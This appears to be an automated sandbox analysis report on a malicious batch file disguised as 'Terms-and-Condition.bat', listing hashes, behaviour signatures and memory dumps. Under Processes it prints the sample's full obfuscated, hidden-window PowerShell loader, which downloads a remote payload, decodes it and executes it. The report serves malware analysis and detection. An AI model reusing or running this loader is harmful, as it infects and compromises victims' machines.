Analysis

  • max time kernel
    150s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240729-en
  • resource tags

    arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
  • submitted
    18-12-2024 20:18

General

  • Target

    Terms-and-Condition.bat

  • Size

    4KB

  • MD5

    f4558513a6b43a0c642449a5ce6eab7e

  • SHA1

    cca4c3cf262154b5e80b14534b6b71af32850c52

  • SHA256

    c3cf8f1785584a2b30097bc9917f260b397cc3bb5bc2bca54f9f4465ce2a3e0f

  • SHA512

    6b34a6892f948d43abf212f4720f8a5d2aad8ad490ef6e262997fd6d5df6e51f99e60b7888673349b8d717afe7c9805966d126ec9c80b8e6c154fdd505eb4fbf

  • SSDEEP

    96:9R6Ry59SGQl5PF7NuMDV5H02EIzBj6O7AFdbMAIv8k3ACoRDSDA6AcdAMLASDAZZ:D6RyO95PVNzDH02EIzBj6KAFdbMAIv/m

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\Terms-and-Condition.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2188
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden " <#Enecellens Lynkrigenes Polychasial Hedyphane #>;$Valgkongedmmets36='boulangerite';<#Forvaltningsafgrelse Spinneret Unwrapper Overspaciously stonifiable Cotyliscus #>; function Layovers($Honkers){If ($host.DebuggerEnabled) {$Ruineredes++;}$Trstprmies=$Afsminkningerne+$Honkers.'Length'-$Ruineredes; for ( $Faveolus=2;$Faveolus -lt $Trstprmies;$Faveolus+=3){$Bilindustris=$Faveolus;$storblomstredes+=$Honkers[$Faveolus];$Energimngders='Flokinstinkterne';}$storblomstredes;}function Photonephograph($Springfyrenes){ . ($Prsidentiel) ($Springfyrenes);}$Quisquilious=Layovers ',rMD o iz.riFolralStaor/Sc ';$Dominic=Layovers ' ST Al Ks G1La2El ';$Crepenylonen='Sk[ oNPoETaT,r.ous iEU Rn.v uIBeCSaEstp ronoiBrn et gmMiA oNLiADeg.reEnRMe]Ar: R:OfSD E cPru Dr aI GTF y epoprPoOKitCho Lc.voCoL M=H $ LDFoOCaMStI enPuIWaCKo ';$Quisquilious+=Layovers ' 5 n.Cy0Ci y(RhW,eiKon id hoTzwFrs g RN tTLu Sn1,n0 b.Ko0Tr; C eW ei An a6 G4 p;T SyxEr6ha4Ka; , S,rU v .:Sk1Sp3U 1 T.Se0 e) e CaGGleUdcLak omo/Du2Un0 t1Ne0B.0Py1S 0Tr1Ma RFRii rSkeTefFuo,oxsy/Fo1Ca3Ko1Cr..o0 P ';$Faveolusndividualisterne=Layovers ' BU aSc,eE ram- ASmGNoe anMiTS, ';$Modifikationer=Layovers 'HahRet itg.pM.sMo:Cu/ /U w RwAiwMa.,otEla,an ekDesEpc Ph.kud t Cz.l.DaoUdr CgDj/Scd ioGnwAgn tl ochaH dkl/ PHscaAbrKrm.aoManb.ines,de Ur BiBynSkg.usGenMidSpr ai Kn SgHe.M lKozTahAc ';$Scratchiness=Layovers 'Ta> k ';$Prsidentiel=Layovers 'ErI TEK.XAd ';$Envelopment='Acridium';$Faveolusnheritability='\Spitchcocking.Rad';Photonephograph (Layovers 'Bl$ RgBel OUnB MaAcLPa:MaAFesKlcRee NRI t Aa iE,N.om eE,nN ,tBr=A $BieUnn PV S:LaAHaP p DAeaA TFoASe+Pr$BafExa,nv E .OP.LriUIns .NInhfoebaRSfIGnTRoa,gbHjI mlSoICltBayVe ');Photonephograph (Layovers ' ,$E G nLReoBoB haHaLPr:PebMoaNogSkVRee LJswe i=Af$Inm eoHeDPei UfFoifokP aSot.vICoOMeN FE Sr e. iS,ap kL EIGrTM.(En$ ,s mcDeR PA,wThlCL hFyITtN lEtos .s,l),a ');Photonephograph (Layovers $Crepenylonen);$Modifikationer=$Bagveje[0];$Krumbjet=(Layovers 'Me$Idg,ul LOHnbUnAIglRe: Mp oRSqEIsA Ns eCBleTrRG tYeaD i nF,eKaDK =AnnHjE IW A-FdOReb nj,nEFoC lTUd SksGgyR,s.iTR E .MS .PoN reBetP..TrwG EGib icSaLPriC.eR.n PTM, ');Photonephograph ($Krumbjet);Photonephograph (Layovers 'Fi$HjpYarS,e.ea Cs cWie Nr NtCaa iHinBeePldSe. HBreS aS ds,eK rResUr[So$BuFReaSevTreKooPllUnu,es HnE,dStiMavSli .dStu Sa MlAdiHasHat.aeForHenTreK.] A=r,$DeQdsu Ri ls tqMuu iSul miu o.uurosMa ');$Verbaliser=Layovers ' l$HupR r IeA aUnsP cCoeE.rA,tTeaApiBrn veBad S.ThDFooB wCanDel ooH.aWhd FGeiKllSue (De$ PMHeo adafimofPliD k BaPotNoiAno ,n.ye.drCa,Ga$,xKVoaKadF r SeRajI eHerUi)Pl ';$Kadrejer=$Ascertainment;Photonephograph (Layovers 'Ol$klg ILExo,eB MaHyL,r: aTBaaKoP iP ,ECorGrSF =B.(BeTP ES S TUn-AepSpAI t DHT Af$guKUgaefDPir,eEm j KE rrTr)Sc ');while (!$Tappers) {Photonephograph (Layovers 'Sa$E,gGolNoo Sb aaPrlD : mPDeeOvj ZsKoeBrn AeMo1Af8Ve1Om= i$B tUnrReuNoeAn ') ;Photonephograph $Verbaliser;Photonephograph (Layovers ' SSVaTR,ABlRKoT r- SUnL reBaeRepSt Fo4D ');Photonephograph (Layovers 'G $Nag ClInOprB lARolko: at cA EPPlpPaeA R S n=Fo(MatMtEL S PTU - sp AArTSuhRe sq$chk ea ,DTerA E Rj FeF rDe)Ke ') ;Photonephograph (Layovers 'Co$NugColReo Rb Ta ,L,f:fisF,Ts,ANabA.EtrLHosL TInoPiLBuELosf =Un$JvGRaLOpoa bDgAKaLDo:G,SstNPaDOseTiRF R aiSqVA n ViCrNPogAnE EN sNd2.f3B 7To+St+Af%Po$OpbUnaUdG,iv Se NJ eCo. CcCroEnUFoNI THa ') ;$Modifikationer=$Bagveje[$Stabelstoles];}$Harmonite=331430;$Mesometrium173=28628;Photonephograph (Layovers 'Bo$OvGTaL.foinBUaa BlBa:udI .RBlRGdE ivKuoUrcheA eB ol iYOu An=.e Ng jeFeTBa- Nc To .NClT.lEFoN ot G E.$ AkWhaFaDKrREgePlJSvE CrSu ');Photonephograph (Layovers 'D $C,gD,lInoVebBoaHal .: UIM sFlo.es.xt,oaSecBry.d M.= Re[T SBoy ysR,tEkeSkm a. CLeoAfnPrvEpeSirint u]Re: g: uFS rDuoT,mSmBKeaIns MeSt6 H4V,SAst arM i LnMogIn(Tr$N IIlrEfrEle AvUno,tcHoa.ubStlB.ySp) ');Photonephograph (Layovers 'Us$I Gc.LSeOUrbHyAAsl o:C.SMoPunAnoLEntsmNRnI anHag SMiP rS OpecN,eCosKaSEne aRLanV EHaSRa K=Me In[,pSEuYbiS ,T ,E ,mIr. rT NEAbX otMu. SeTonStcTaoHoD IsyNChgA,] ,:T,:foAHjs tC ,IPai e.T G eEs T S ITfrR TIU.nkrGs,(Fr$ oi ,STrORisH.TStA .c,nYHu)D ');Photonephograph (Layovers ',r$ uGCoL UonaB rA SlTe:EqAsif kDiO FRMitc n,eiHan ogshsFa=ou$SesEdpK,ADkLT T rnF,IF n PGS S QPApR aopicO.eUnSGeS .EBoR hnSaEDesM..SpsejuTiBBaS MtkoRLoi mNN g V(Gr$TrHC AD r ZmSto nn,ei PtPlEMu,me$ am WeP s Oo iM,aEPaT,lRSaI iU omUn1Si7 H3Bh)p ');Photonephograph $Afkortnings;"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2532

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/2532-4-0x000007FEF6B5E000-0x000007FEF6B5F000-memory.dmp

    Filesize

    4KB

  • memory/2532-6-0x0000000001FF0000-0x0000000001FF8000-memory.dmp

    Filesize

    32KB

  • memory/2532-5-0x000000001B6A0000-0x000000001B982000-memory.dmp

    Filesize

    2.9MB

  • memory/2532-7-0x000007FEF68A0000-0x000007FEF723D000-memory.dmp

    Filesize

    9.6MB

  • memory/2532-9-0x000007FEF68A0000-0x000007FEF723D000-memory.dmp

    Filesize

    9.6MB

  • memory/2532-8-0x000007FEF68A0000-0x000007FEF723D000-memory.dmp

    Filesize

    9.6MB

  • memory/2532-10-0x000007FEF68A0000-0x000007FEF723D000-memory.dmp

    Filesize

    9.6MB

  • memory/2532-11-0x000007FEF68A0000-0x000007FEF723D000-memory.dmp

    Filesize

    9.6MB

  • memory/2532-12-0x000007FEF68A0000-0x000007FEF723D000-memory.dmp

    Filesize

    9.6MB

  • memory/2532-13-0x000007FEF6B5E000-0x000007FEF6B5F000-memory.dmp

    Filesize

    4KB

  • memory/2532-14-0x000007FEF68A0000-0x000007FEF723D000-memory.dmp

    Filesize

    9.6MB

  • memory/2532-15-0x000007FEF68A0000-0x000007FEF723D000-memory.dmp

    Filesize

    9.6MB

  • memory/2532-16-0x000007FEF68A0000-0x000007FEF723D000-memory.dmp

    Filesize

    9.6MB

  • memory/2532-17-0x000007FEF68A0000-0x000007FEF723D000-memory.dmp

    Filesize

    9.6MB